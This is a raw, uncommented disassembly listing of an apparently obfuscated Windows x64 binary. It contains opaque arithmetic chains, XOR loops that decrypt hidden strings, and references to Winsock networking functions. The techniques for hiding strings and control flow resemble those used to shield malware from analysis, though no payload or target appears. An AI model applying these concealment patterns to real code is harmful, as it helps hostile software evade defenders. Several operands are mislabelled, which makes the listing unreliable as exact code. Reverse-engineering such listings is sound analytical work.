sub r11b, 0xc
jmp 0x1401740f5
movabs rdx, 0x52981d1c871e3848
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rbx + 0xd91]
add r11b, r10b
jmp 0x1401740a6
movabs rdx, 0xbb91315d13900822
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0xd91]
add r11b, r10b
add r11b, dl
jmp 0x1401741b5
movabs rcx, 0xfef90aeab2ab551b
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x43
movzx eax, byte [rbp + rbx + 0xd91]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401735f3
movabs rdx, 0x95fff6aa26398541
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x39
add r11b, dl
jmp 0x1401741e8
movabs rdx, 0xf21ba5a7f47245d9
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x11
add r11b, dl
movabs rcx, 0x8714a73ccd572035
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x73
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0xd91], cl
jmp 0x140174178
movabs rdx, 0xb73068e64f1cd64b
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xd
add r11b, dl
movabs rcx, 0x1e1b92fc40e5505b
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x7d
add r10b, cl
mov byte [rbp + rbx + 0xd91], r10b
inc r9
dec rbx
inc rbx
jmp 0x1401735f3
movabs rcx, 0x134c17e41d5596e3
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x35
dec rbx
inc rbx
jmp 0x1401735f3
movabs rcx, 0x4159ef630471f72f
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x49
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1401735f3
mov r10, rdx
movabs rcx, 0x6f67c6e1eb8e577b
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x5d
movabs rdx, 0xf00dbb7d59c8f00f
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x69
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xd91], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x248a459da001d7fc
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, recvfrom
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0xd91], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xd91]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401735f3
movabs rcx, 0x9d759e60d2aab7c7
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x71
movzx eax, byte [rbp + rbx + 0xd91]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401735f3
movabs rcx, 0x44b3c2c47b907e21
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x19
jmp 0x1401735ee
movabs rcx, 0xdbbaae83ef1eae47
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0xf
jmp 0x1401735da
lea r15, [rbp + 0x17be0cd]
jmp 0x1401742cd
lea r15, [rbp + 0x74c8ba]
jmp 0x1401742cd
lea r15, [rbp + 0xd91]
test edi, edi
js 0x1401742f9
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [r15 + r8], 0
jne 0x1401742e0
mov rdx, r15
lea rcx, [rbp + 0xfd0]
call fcn.140136400
call fcn.140167390
nop
movzx edx, byte [rbp + 0x5d00]
lea rcx, [rbp + 0xff0]
call fcn.140136a10
lea rcx, [rbp + 0xff0]
call fcn.140136320
nop
test r12b, r12b
je 0x14017449e
movaps xmm0, xmmword [0x1404483d0]
movaps xmmword [rbp + 0x2570], xmm0
movaps xmm1, xmmword [0x1404483e0]
movaps xmmword [rbp + 0x2580], xmm1
movaps xmm0, xmmword [0x1404483f0]
movaps xmmword [rbp + 0x2590], xmm0
movaps xmm1, xmmword [0x140448400]
movaps xmmword [rbp + 0x25a0], xmm1
movsd xmm0, qword [str.e2d004_ul.K]
movsd qword [rbp + 0x25b0], xmm0
mov eax, dword [0x140448418]
mov dword [rbp + 0x25b8], eax
lea rcx, [rbp + 0xf50]
call fcn.140135dc0
mov rbx, rax
lea rcx, [rbp + 0xf30]
call fcn.140135dc0
mov rdi, rax
lea rax, [rbp + 0x1010]
mov qword [rsp + 0x78], rax
cmp byte [rbp + 0x25bb], 0
je 0x1401743f2
mov r8d, esi
lea r9, [rbp + 0x2570]
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4c
jl 0x1401743c0
movzx edx, byte [rbp + 0x5d00]
lea rcx, [rbp + 0x1010]
call fcn.140136a10
nop
lea rax, [rbp + 0x2570]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140174414
lea rdx, [rbp + 0x2570]
lea rcx, [rbp + 0x1010]
call fcn.14013ab10
nop
mov dword [rsp + 0x20], r14d
mov r9, rbx
mov r8, rdi
lea rdx, [rbp + 0x1010]
lea rcx, [rbp + 0x1030]
call fcn.140155d40
mov rdx, rax
lea rcx, [rbp + 0xff0]
call fcn.140135df0
lea rcx, [rbp + 0x1030]
call fcn.1401362c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2570], xmm0
movups xmmword [rbp + 0x2580], xmm0
movups xmmword [rbp + 0x2590], xmm0
movups xmmword [rbp + 0x25a0], xmm0
mov qword [rbp + 0x25b0], rax
mov dword [rbp + 0x25b8], eax
jmp 0x1401745f1
movups xmm0, xmmword [0x140448210]
movups xmmword [rbp + 0x24b0], xmm0
movups xmm1, xmmword [0x140448220]
movups xmmword [rbp + 0x24c0], xmm1
movups xmm0, xmmword [0x140448230]
movups xmmword [rbp + 0x24d0], xmm0
movsd xmm0, qword [0x140448240]
movsd qword [rbp + 0x24e0], xmm0
mov eax, dword [0x140448248]
mov dword [rbp + 0x24e8], eax
movzx eax, word [0x14044824c]
mov word [rbp + 0x24ec], ax
lea rcx, [rbp + 0xe90]
call fcn.140135dc0
mov rbx, rax
lea rax, [rbp + 0x1050]
mov qword [rsp + 0x78], rax
cmp byte [rbp + 0x24ed], 0
je 0x140174552
mov r8d, esi
lea r9, [rbp + 0x24b0]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3e
jl 0x140174520
movzx edx, byte [rbp + 0x5d00]
lea rcx, [rbp + 0x1050]
call fcn.140136a10
nop
lea rax, [rbp + 0x24b0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140174574
lea rdx, [rbp + 0x24b0]
lea rcx, [rbp + 0x1050]
call fcn.14013ab10
nop
mov r8, rbx
lea rdx, [rbp + 0x1050]
lea rcx, [rbp + 0x1070]
call fcn.140155d40
mov rdx, rax
lea rcx, [rbp + 0xff0]
call fcn.140135df0
lea rcx, [rbp + 0x1070]
call fcn.1401362c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x24b0], xmm0
movups xmmword [rbp + 0x24c0], xmm0
movups xmmword [rbp + 0x24d0], xmm0
mov qword [rbp + 0x24e0], rax
mov dword [rbp + 0x24e8], eax
mov word [rbp + 0x24ec], ax
lea rdx, [rbp + 0xff0]
lea rcx, [rbp + 0x1090]
call fcn.140135eb0
mov r14, rax
mov qword [rsp + 0x78], rax
mov byte [rbp - 0x70], 0
lea rcx, [rbp + 0xc0]
call fcn.1401eb7c0
nop
lea rdx, [rbp + 0xc8]
mov rcx, r14
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp + 0xd0]
mov rcx, r14
call fcn.14013e7f0
lea r9, [rbp - 0x6f]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x10b0]
call fcn.14013ed00
nop
lea rdx, [rbp + 0x10b0]
lea rcx, [rbp + 0x2a40]
call fcn.1401cb620
nop
lea rdx, [rbp + 0x2a40]
lea rcx, [rbp + 0x420]
call fcn.1401e4a40
nop
lea rcx, [rbp + 0x2a60]
call fcn.14015c750
lea rcx, [rbp + 0x2a40]
call fcn.14013ec20
lea rdx, [0x14047f0e8]
lea rcx, [rbp + 0x10d0]
call fcn.140155030
mov rbx, rax
mov qword [rsp + 0x68], rax
mov rdx, rax
lea rcx, [rbp + 0x430]
call fcn.1401a5dd0
nop
mov rcx, rbx
call fcn.14013ec20
nop
lea rdx, [0x14044a4fc]
lea rcx, [rbp + 0x2b28]
call fcn.1401cb650
nop
lea rdx, [rbp + 0x2b28]
mov rcx, qword [rbp + 0x430]
call fcn.1401e3500
nop
lea rcx, [rbp + 0x2b48]
call fcn.14015c750
lea rcx, [rbp + 0x2b28]
call fcn.14013ec20
mov rsi, qword [rbp + 0x430]
mov byte [rbp + 0x22ab], 0x62
mov byte [rbp + 0x22ac], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x22ad], 0x81
mov byte [rbp + 0x22ae], reloc.WS2_32.dll_send
mov byte [rbp + 0x22af], WSACleanup
mov byte [rbp + 0x22b0], 0x1d
mov byte [rbp + 0x22b1], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x22b2], 0x1f
mov byte [rbp + 0x22b3], WSACleanup
mov byte [rbp + 0x22b4], 0x19
mov byte [rbp + 0x22b5], 0x8a
mov byte [rbp + 0x22b6], 0x1b
mov byte [rbp + 0x22b7], 0x64
mov byte [rbp + 0x22b8], 5
mov byte [rbp + 0x22b9], 0x92
mov byte [rbp + 0x22ba], 7
mov byte [rbp + 0x22bb], 0x91
mov byte [rbp + 0x22bc], 1
mov byte [rbp + 0x22bd], 0
mov byte [rbp + 0x22be], 3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x22bf], xmm0
mov dword [rbp + 0x22cf], eax
mov byte [rbp + 0x22d3], al
movzx r11d, byte [rbp + 0x5d00]
xor edi, edi
nop
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov rbx, rdi
cmp rbx, 0x29
jae 0x14017555f
movzx r10d, byte [rbp + rbx + 0x22ab]
mov rdx, r10
nop dword [rax]
cmp r8, rbx
ja 0x140175556
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x140174825
movabs rcx, 0xa5050da9da58b703
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
sub r11b, 0x15
jmp 0x140174870
je 0x1401754d1
lea rax, [r9 + 2]
cmp r8, rax
je 0x140175431
lea rax, [rcx + 1]
cmp r8, rax
je 0x1401753fa
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401753ac
lea rax, [r9 + 4]
cmp r8, rax
je 0x140175382
lea rax, [r9 + 5]
cmp r8, rax
je 0x140175355
nop dword [rax]
cmp r9, rbx
ja 0x14017554d
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1401748a3
movabs rcx, 0x896a1eeee947033f
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x47
jmp 0x1401748e0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140175304
inc rax
cmp r8, rax
je 0x1401752da
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401752b3
lea rax, [r9 + 5]
cmp r8, rax
je 0x14017528f
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140174f4e
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x140174f26
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140174ef9
lea rax, [r9 + 6]
cmp r8, rax
je 0x140174ece
lea rax, [r9 + 2]
cmp r8, rax
je 0x140174ea5
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140174e79
lea rax, [r9 + 1]
cmp r8, rax
je 0x140174e50
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140174e28
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140174e00
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140174dca
lea rax, [r9 + 9]
cmp r8, rax
je 0x1401748f0
lea r8, [r9 + 6]
lea r9, [r8 + 4]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140175529
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140175505
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140174aea
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140174ac6
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140174aa2
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140174d6b
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140174d0c
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140174cbd
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140174c8e
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1401748f0
lea r8, [r9 + 1]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140174c59
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140174c30
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140174c07
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140174bde
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140174bb7
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140174b93
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140174b69
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140174b37
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140174b0e
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1401748f0
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x10]
jmp 0x1401748f0
movabs rcx, 0x99be6b398e2b5ea1
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x67
jmp 0x1401748e0
movabs rcx, 0x4fb44fe5d979f09b
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3d
jmp 0x140174870
movabs rcx, 0x5aa349224c88295
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x13
jmp 0x1401747e6
movabs rdx, 0x4b50f7774a3819f8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140175323
movabs rdx, 0x146dc239586abf2
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x1401747d3
movabs rcx, 0xb73cc0cfe0d53dec
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x74
dec rbx
inc rbx
jmp 0x1401747d3
movabs rcx, 0x6d32a57c2c23cfe6
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4a
jmp 0x1401753cb
movabs rcx, 0x23288a28777261e0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
add r8, r9
jmp 0x140175418
movabs rdx, 0xd91e6ed4c2c0f3da
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140175418
movabs rdx, 0x8f1453810e0f85d4
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140175453
movabs rdx, 0x450a382d595e17ce
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140175483
movabs rcx, 0xfb001cd9a4aca9c8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
movzx eax, byte [rbp + rbx + 0x22ab]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401747d3
movabs rcx, 0xc1e6d88860f116b9
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xf
mov byte [rbp + rbx + 0x22ab], r11b
inc rbx
jmp 0x1401747d3
movabs rcx, 0x77dcbd34ac3fa8b3
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x1b
cmp r9, 0x2a
jb 0x140174cad
movabs rcx, 0xc00371acff58eb32
add rcx, rbx
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea r11d, [rdx + rdx]
jmp 0x140175323
movabs rcx, 0x2dd2a1e0f78e3aad
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x45
cmp r8, 5
jae 0x14017522d
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x14017514f
movabs rdx, 0xdb9e6067f06a9ef6
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x23
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140174cdc
movabs rcx, 0xe3c8868d42dccca7
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x6f
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x14017525e
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x140175083
movabs rcx, 0x5234417907239bb7
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
dec r11b
jmp 0x140174d2b
movabs rcx, 0x387cb99977aa137a
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x56
movzx eax, byte [rbp + rbx + 0x22ab]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401747d3
movabs rdx, 0xee729e45c2f8a574
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x140175483
movabs rdx, 0xa46882f20e47376e
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 2
add r11b, dl
jmp 0x140175453
movabs rdx, 0x5a5e679e5995c968
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140175418
movabs rdx, 0x10544c4aa4e45b62
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
jmp 0x140175418
movabs rdx, 0xc64a30f6f032ed5c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1401753cb
movabs rcx, 0x7c4015a33b817f56
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5a
dec rbx
inc rbx
jmp 0x1401747d3
movabs rcx, 0x3235fa4f86d01150
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
inc r9
dec rbx
inc rbx
jmp 0x1401747d3
movabs rdx, 0xe82bdefbd21ea34a
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 6
add r11b, dl
jmp 0x140175323
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x140174f7b
movabs rcx, 0xa5050da9da58b703
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x15
jmp 0x140174d8a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140174fb9
movabs rcx, 0x12d43dddd28e067e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x72
movzx eax, byte [rbp + rbx + 0x22ab]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401747d3
inc rax
cmp r8, rax
jne 0x140174fea
movabs rdx, 0x5cde5931873f7484
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140175483
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14017501c
movabs rdx, 0xa6e874853bf0e28a
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x1d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140175453
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14017504c
movabs rcx, 0x3afcab2ca553be96
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1a
add r8, r9
jmp 0x140175418
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140174d8a
movabs rcx, 0xcf10e1d40eb69aa2
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6e
dec rbx
inc rbx
jmp 0x1401747d3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401750b0
movabs rcx, 0x9c3e5cccbbd509bd
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2b
jmp 0x140175323
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401750e0
movabs rcx, 0xc466ca1b8e9ac1d5
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x2d
add r8, r9
jmp 0x140175418
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14017510d
movabs rcx, 0xe70e56f434c2fdb
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 3
jmp 0x140175418
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140174d2b
movabs rcx, 0xec8f376a616079ed
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7b
movzx eax, byte [rbp + rbx + 0x22ab]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401747d3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140175192
movabs rdx, 0x25a87bbba51c0cfc
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x22ab]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401747d3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401751bf
movabs rcx, 0xb9bcb2630e7ee908
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
jmp 0x140175453
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401751f1
movabs rdx, 0x97db045e2c93331a
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x25
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1401753cb
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140174cdc
movabs rdx, 0xe1e51fb1e144a120
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1401747d3
movabs rdx, 0xa0d8d00b40a5938
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rbx + 0x22ab]
add r11b, dl
add r11b, r10b
jmp 0x1401753cb
movabs rdx, 0x5417a85468bbc73e
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x27
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0x22ab]
add r11b, dl
add r11b, r10b
jmp 0x140175453
movabs rcx, 0x45a6c2e5256f9763
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x4b
jmp 0x140175418
movabs rcx, 0xfb9ca79170be295d
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x75
add r8, r9
jmp 0x140175418
movabs rcx, 0x678870ea075b4d51
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x37
dec rbx
inc rbx
jmp 0x1401747d3
movabs rcx, 0xd3743a429df87145
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x1d
movabs rcx, 0x65087f56d9b1a235
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x73
add cl, r10b
mov byte [rbp + rbx + 0x22ab], cl
inc r9
dec rbx
inc rbx
jmp 0x1401747d3
movabs rcx, 0xf555e8477fe42733
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x65
inc r9
dec rbx
inc rbx
jmp 0x1401747d3
movabs rcx, 0xab4bccf3cb32b92d
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3b
dec rbx
inc rbx
jmp 0x1401747d3
movabs rcx, 0x6141b1a016814b27
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x11
movabs rcx, 0xaf129aaa8e63103b
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x63
add r10b, r11b
add r10b, cl
mov byte [rbp + rbx + 0x22ab], r10b
add r8, r9
jmp 0x140175418
movabs rcx, 0xcd2d7af8ad1e6f1b
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x43
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1401747d3
mov r10, rdx
movabs rcx, 0x83235fa4f86d0115
add rcx, rbx
and dl, cl
add dl, dl
movzx r11d, r10b
sub r11b, dl
add r11b, 0x6d
add r11b, cl
movabs rcx, 0xf91cb5fe43147e41
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x39
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x22ab], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x9e21c3a81d6d3544
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x22ab], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x22ab]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401747d3
movabs rcx, 0xef0f28fd8f0a2509
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x3f
movzx eax, byte [rbp + rbx + 0x22ab]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401747d3
movabs rcx, 0xbba0193e7017148f
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x17
jmp 0x1401747d0
movabs rcx, 0x7195fdeabb65a689
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x41
jmp 0x1401747c0
lea rax, [rbp + 0x15b18af]
jmp 0x140175566
lea rax, [rbp + 0x73cfb2]
